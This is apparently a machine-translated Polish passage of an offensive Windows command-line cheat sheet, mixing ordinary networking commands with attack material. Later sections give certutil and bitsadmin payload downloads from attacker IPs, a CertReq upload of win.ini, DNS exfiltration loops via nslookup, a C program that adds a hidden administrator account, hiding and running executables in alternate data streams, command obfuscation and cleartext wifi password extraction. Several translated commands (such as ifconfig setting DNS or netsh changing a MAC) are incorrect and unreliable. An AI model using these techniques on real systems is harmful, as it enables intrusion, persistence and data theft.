Aby zabezpieczyć udostępnienie, możesz skonfigurować odpowiednie uprawnienia dostępu. Możesz to zrobić za pomocą interfejsu graficznego lub polecenia icacls. Na przykład, aby udostępnić folder "C:\Dane" tylko dla użytkownika "User1" z pełnym dostępem, wykonaj następujące polecenie:

icacls C:\Dane /grant User1:(OI)(CI)F

Wykorzystywanie udostępnionych zasobów

Aby uzyskać dostęp do udostępnionych zasobów na innym komputerze, możesz użyć polecenia net use. Na przykład, aby podłączyć udostępnienie o nazwie "Dane" z komputera "192.168.0.100" jako dysk "Z:", wykonaj następujące polecenie:

net use Z: \\192.168.0.100\Dane

Wyłączanie udostępniania

Aby wyłączyć udostępnianie dla danego zasobu, użyj polecenia net share z odpowiednim parametrem /delete. Na przykład, aby wyłączyć udostępnianie dla udostępnienia o nazwie "Dane", wykonaj następujące polecenie:

net share Dane /delete
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

Wifi

Wyszukiwanie dostępnych sieci wifi

Aby zobaczyć dostępne sieci wifi w Twoim zasięgu, wykonaj poniższą komendę:

netsh wlan show networks

Podłączanie do sieci wifi

Aby podłączyć się do konkretnej sieci wifi, użyj poniższej komendy, zastępując nazwa_sieci i hasło odpowiednimi danymi:

netsh wlan connect ssid=nazwa_sieci name=nazwa_sieci key=hasło

Rozłączanie z sieci wifi

Aby rozłączyć się z aktualnie podłączoną siecią wifi, wykonaj poniższą komendę:

netsh wlan disconnect

Wyłączanie karty sieciowej wifi

Aby wyłączyć kartę sieciową wifi, użyj poniższej komendy:

netsh interface set interface "Nazwa karty sieciowej" admin=disable

Włączanie karty sieciowej wifi

Aby włączyć kartę sieciową wifi, użyj poniższej komendy:

netsh interface set interface "Nazwa karty sieciowej" admin=enable

Resetowanie ustawień sieciowych wifi

Aby zresetować ustawienia sieciowe wifi, wykonaj poniższą komendę:

netsh winsock reset

Wyłączanie udostępniania sieci wifi

Aby wyłączyć udostępnianie sieci wifi, użyj poniższej komendy:

netsh wlan set hostednetwork mode=disallow

Włączanie udostępniania sieci wifi

Aby włączyć udostępnianie sieci wifi, użyj poniższej komendy:

netsh wlan set hostednetwork mode=allow ssid=nazwa_sieci key=hasło

Sprawdzanie informacji o karcie sieciowej wifi

Aby sprawdzić informacje o karcie sieciowej wifi, wykonaj poniższą komendę:

netsh wlan show interface

Sprawdzanie informacji o połączeniu wifi

Aby sprawdzić informacje o aktualnym połączeniu wifi, wykonaj poniższą komendę:

netsh wlan show profile name=nazwa_sieci key=clear

Zmiana ustawień sieci wifi

Aby zmienić ustawienia sieci wifi, użyj poniższej komendy, zastępując nazwa_sieci i hasło odpowiednimi danymi:

netsh wlan set profileparameter name=nazwa_sieci keyMaterial=hasło
netsh wlan show profile #AP SSID
netsh wlan show profile <SSID> key=clear #Get Cleartext Pass

SNMP

SNMP (Simple Network Management Protocol) jest protokołem sieciowym używanym do zarządzania i monitorowania urządzeń sieciowych. Pozwala na zdalne monitorowanie i kontrolę urządzeń takich jak routery, przełączniki, serwery itp. Protokół SNMP działa na zasadzie zapytanie-odpowiedź, gdzie menedżer SNMP wysyła zapytania do agenta SNMP, a ten zwraca odpowiedzi zawierające informacje o stanie urządzenia.

Podstawowe komendy SNMP

  • snmpwalk - służy do pobierania informacji o wszystkich obiektach w drzewie MIB (Management Information Base) na danym urządzeniu.
  • snmpget - służy do pobierania wartości konkretnego obiektu MIB na danym urządzeniu.
  • snmpset - służy do ustawiania wartości konkretnego obiektu MIB na danym urządzeniu.
  • snmptrap - służy do wysyłania pułapek SNMP (trap) do menedżera SNMP w celu powiadomienia o zdarzeniach na urządzeniu.

Przykłady użycia

Poniżej przedstawiam kilka przykładów użycia podstawowych komend SNMP:

  • snmpwalk -v2c -c public 192.168.1.1 - wykonuje pełne przeszukiwanie drzewa MIB na urządzeniu o adresie IP 192.168.1.1, używając wersji 2c protokołu SNMP i publicznego community stringa.
  • snmpget -v2c -c private 192.168.1.1 sysDescr.0 - pobiera wartość obiektu sysDescr.0 (opis systemu) na urządzeniu o adresie IP 192.168.1.1, używając wersji 2c protokołu SNMP i prywatnego community stringa.
  • snmpset -v2c -c private 192.168.1.1 sysContact.0 s "admin@example.com" - ustawia wartość obiektu sysContact.0 (kontakt administratora) na urządzeniu o adresie IP 192.168.1.1, używając wersji 2c protokołu SNMP, prywatnego community stringa i podanego adresu e-mail.
  • snmptrap -v2c -c public 192.168.1.2 192.168.1.1 1.3.6.1.2.1.1.6.0 s "Device rebooted" - wysyła pułapkę SNMP do urządzenia o adresie IP 192.168.1.2, informując o restarcie urządzenia o adresie IP 192.168.1.1, używając wersji 2c protokołu SNMP, publicznego community stringa i podanego komunikatu.
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s

Interfejsy sieciowe

Wyświetlanie informacji o interfejsach sieciowych

Aby wyświetlić informacje o dostępnych interfejsach sieciowych, możesz użyć polecenia ipconfig lub ifconfig, w zależności od systemu operacyjnego.

ipconfig
ifconfig

Wyłączanie interfejsu sieciowego

Aby wyłączyć interfejs sieciowy, możesz użyć polecenia netsh w systemie Windows lub polecenia ifconfig w systemie Linux.

netsh interface set interface "Nazwa interfejsu" admin=disable
ifconfig "Nazwa interfejsu" down

Włączanie interfejsu sieciowego

Aby włączyć interfejs sieciowy, możesz użyć polecenia netsh w systemie Windows lub polecenia ifconfig w systemie Linux.

netsh interface set interface "Nazwa interfejsu" admin=enable
ifconfig "Nazwa interfejsu" up

Zmiana adresu MAC interfejsu sieciowego

Aby zmienić adres MAC interfejsu sieciowego, możesz użyć polecenia netsh w systemie Windows lub polecenia ifconfig w systemie Linux.

netsh interface set interface "Nazwa interfejsu" newmac=XX-XX-XX-XX-XX-XX
ifconfig "Nazwa interfejsu" hw ether XX:XX:XX:XX:XX:XX

Ustawianie adresu IP interfejsu sieciowego

Aby ustawić adres IP interfejsu sieciowego, możesz użyć polecenia netsh w systemie Windows lub polecenia ifconfig w systemie Linux.

netsh interface ip set address "Nazwa interfejsu" static IP_ADDRESS MASK GATEWAY
ifconfig "Nazwa interfejsu" IP_ADDRESS netmask MASK

Ustawianie serwera DNS dla interfejsu sieciowego

Aby ustawić serwer DNS dla interfejsu sieciowego, możesz użyć polecenia netsh w systemie Windows lub polecenia ifconfig w systemie Linux.

netsh interface ip set dns "Nazwa interfejsu" static DNS_SERVER
ifconfig "Nazwa interfejsu" dns-nameservers DNS_SERVER

Wyświetlanie tablicy routingu

Aby wyświetlić tablicę routingu, możesz użyć polecenia route w systemie Windows lub polecenia ip route w systemie Linux.

route print
ip route show
ipconfig /all

Tabela ARP

Tabela ARP (Address Resolution Protocol) zawiera informacje o mapowaniu adresów IP na adresy MAC w sieci lokalnej. Jest to ważne narzędzie dla pentesterów, które umożliwia identyfikację urządzeń w sieci oraz potencjalne ataki typu ARP spoofing. Aby wyświetlić zawartość tabeli ARP w systemie Windows, można użyć polecenia arp -a w wierszu poleceń. Poniżej przedstawiono przykładowy wynik:

Interface: 192.168.1.2 --- 0x2
  Internet Address      Physical Address      Type
  192.168.1.1           00-11-22-33-44-55     dynamic
  192.168.1.100         00-AA-BB-CC-DD-EE     dynamic

Wynik ten pokazuje adresy IP i odpowiadające im adresy MAC urządzeń w sieci. Adresy MAC mogą być dynamiczne lub statyczne, w zależności od sposobu przydzielania adresów IP w sieci.

arp -A

Pobierz

Bitsadmin.exe

bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1

CertReq.exe jest narzędziem wiersza poleceń, które jest dostępne w systemach Windows i służy do zarządzania certyfikatami. Może być używane do generowania żądań certyfikatów, importowania i eksportowania certyfikatów oraz zarządzania magazynami certyfikatów. Poniżej przedstawiam kilka przykładów użycia CertReq.exe:

Generowanie żądania certyfikatu

CertReq.exe -new request.inf request.req

Importowanie certyfikatu

CertReq.exe -accept cert.cer

Eksportowanie certyfikatu

CertReq.exe -export cert.cer cert.pfx

Wyświetlanie informacji o certyfikacie

CertReq.exe -dump cert.cer

Zarządzanie magazynem certyfikatów

CertReq.exe -store My -s "CN=CertificateStore" -f cert.cer

Więcej informacji na temat używania CertReq.exe można znaleźć w dokumentacji systemu Windows.

CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt

Certutil.exe jest narzędziem wiersza poleceń w systemie Windows, które umożliwia zarządzanie certyfikatami i kluczami. Może być używane do wykonywania różnych operacji, takich jak importowanie i eksportowanie certyfikatów, generowanie kluczy, weryfikowanie podpisów cyfrowych i wiele innych. Poniżej przedstawiono kilka przykładów użycia certutil.exe:

  1. Importowanie certyfikatu:
certutil -addstore nazwa_sklepu ścieżka_do_certyfikatu
  1. Eksportowanie certyfikatu:
certutil -exportcert -f -p hasło -privatekey -user -t "CERTIFICATE_THUMBPRINT" ścieżka_do_pliku
  1. Wyświetlanie informacji o certyfikacie:
certutil -dump ścieżka_do_certyfikatu
  1. Generowanie nowego klucza:
certutil -genkey -p hasło -user -n "nazwa_klucza" -r "nazwa_sklepu" -s "nazwa_sklepu"

Certutil.exe jest potężnym narzędziem, które może być wykorzystane przez pentesterów do przeprowadzania różnych operacji związanych z certyfikatami i kluczami w systemie Windows.

certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe

Znajdź znacznie więcej, szukając Download na stronie https://lolbas-project.github.io

Różne

cd #Get current dir
cd C:\path\to\dir #Change dir
dir #List current dir
dir /a:h C:\path\to\dir #List hidden files
dir /s /b #Recursive list without shit
time #Get current time
date #Get current date
shutdown /r /t 0 #Shutdown now
type <file> #Cat file

#Runas
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted

#Hide
attrib +h file #Set Hidden
attrib -h file #Quit Hidden

#Give full control over a file that you owns
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision

#Recursive copy to smb
xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win

#exe2bat to transform exe file in bat file

#ADS
dir /r #Detect ADS
more file.txt:ads.txt #read ADS
powershell (Get-Content file.txt -Stream ads.txt)

# Get error messages from code
net helpmsg 32 #32 is the code in that case

Omijanie czarnej listy znaków

W niektórych przypadkach, podczas testowania penetracyjnego, możesz napotkać aplikacje, które blokują określone znaki, takie jak znaki specjalne lub znaki kontrolne. Jednak istnieją sposoby na obejście takiej czarnej listy znaków. Oto kilka technik, które możesz wykorzystać:

  1. Użycie znaków Unicode: Możesz użyć znaków Unicode, które wyglądają podobnie do znaków na czarnej liście, ale mają inne kody Unicode. Na przykład, jeśli znak # jest zablokowany, możesz spróbować użyć znaku (U+FF03), który wygląda tak samo, ale ma inny kod Unicode.
  2. Użycie znaków HTML: Możesz również użyć znaków HTML, które są zamieniane na odpowiednie znaki podczas renderowania strony. Na przykład, znak # może być zamieniony na &#35;, a znak & na &amp;. Możesz spróbować użyć tych znaków, aby obejść czarną listę.
  3. Użycie znaków obcych: Innym sposobem jest użycie znaków obcych, które nie są często używane w danym języku. Na przykład, jeśli aplikacja blokuje znaki specjalne, możesz spróbować użyć znaków z innych języków, takich jak chiński, japoński lub arabski.
  4. Użycie kodów znaków: Możesz również użyć kodów znaków, które reprezentują znaki za pomocą ich wartości szesnastkowych. Na przykład, znak # może być reprezentowany jako %23, a znak & jako %26. Możesz spróbować użyć tych kodów znaków, aby obejść czarną listę.

Pamiętaj, że omijanie czarnej listy znaków jest techniką, która może być nielegalna lub naruszać politykę bezpieczeństwa. Zawsze stosuj się do odpowiednich przepisów i zasad etycznych podczas testowania penetracyjnego.

echo %HOMEPATH:~6,-11%   #\
who^ami   #whoami

DOSfuscation

Generuje zasłoniętą linię poleceń CMD

git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
help
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
encoding

Kontrola dostępu do adresów nasłuchu

Możesz nasłuchiwać na http://+:80/Temporary_Listen_Addresses/ bez konieczności posiadania uprawnień administratora.

netsh http show urlacl

Manualne powłoki DNS

Atakujący (Kali) musi skorzystać z jednej z tych 2 opcji:

sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive

Ofiara

Technika for /f tokens: Pozwala nam wykonywać polecenia, pobierać pierwsze X słów z każdej linii i wysyłać je za pomocą DNS na nasz serwer.

for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one

Możesz również przekierować wynik i następnie go odczytać.

whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>

Wywoływanie CMD z kodu C

To call CMD from C code, you can use the system() function provided by the C standard library. This function allows you to execute a command in the command prompt.

Here is an example of how to use system() to call CMD from C code:

#include <stdlib.h>

int main() {
    system("cmd /c <command>");
    return 0;
}

Replace <command> with the command you want to execute in CMD. The /c flag is used to execute the command and then terminate CMD.

After compiling and running the C code, the specified command will be executed in CMD.

#include <stdlib.h>     /* system, NULL, EXIT_FAILURE */

// When executed by Administrator this program will create a user and then add him to the administrators group
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe

int main (){
int i;
i=system("net users otherAcc 0TherAcc! /add");
i=system("net localgroup administrators otherAcc /add");
return 0;
}

Arkusz oszustw z alternatywnymi strumieniami danych (ADS/Alternate Data Stream)

Przykłady pochodzą z https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f. Jest tam ich znacznie więcej!

## Selected Examples of ADS Operations ##

### Adding Content to ADS ###
# Append executable to a log file as an ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
# Download a script directly into an ADS
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

### Discovering ADS Content ###
# List files and their ADS
dir /R
# Use Sysinternals tool to list ADS of a file
streams.exe <c:\path\to\file>

### Extracting Content from ADS ###
# Extract an executable stored in an ADS
expand c:\ads\file.txt:test.exe c:\temp\evil.exe

### Executing ADS Content ###
# Execute an executable stored in an ADS using WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
# Execute a script stored in an ADS using PowerShell
powershell -ep bypass - < c:\temp:ttt
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!